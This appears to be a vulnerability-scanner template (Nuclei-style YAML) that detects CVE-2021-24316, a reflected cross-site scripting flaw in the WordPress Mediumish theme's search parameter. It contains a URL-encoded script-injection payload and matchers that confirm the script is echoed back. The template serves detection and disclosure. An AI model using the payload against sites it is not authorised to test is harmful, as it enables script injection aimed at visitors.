44 lines
1.4 KiB
YAML
44 lines
1.4 KiB
YAML
id: CVE-2021-24316
|
|
|
|
info:
|
|
name: WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: WordPress Mediumish theme 1.0.47 and prior contains an unauthenticated reflected cross-site scripting vulnerability. The 's' GET parameter is not properly sanitized by the search feature before it is output back on the page.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
|
|
- https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
|
|
- https://www.wowthemes.net/themes/mediumish-wordpress/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24316
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24316
|
|
cwe-id: CWE-79
|
|
tags: cve,cve2021,mediumish,xss,wordpress,wpscan
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E '
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "<script>alert(/{{randstr}}/)</script>"
|
|
- "Sorry, no posts matched your criteria."
|
|
part: body
|
|
condition: and
|
|
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|
|
|
|
# Enhanced by mp on 2022/08/28
|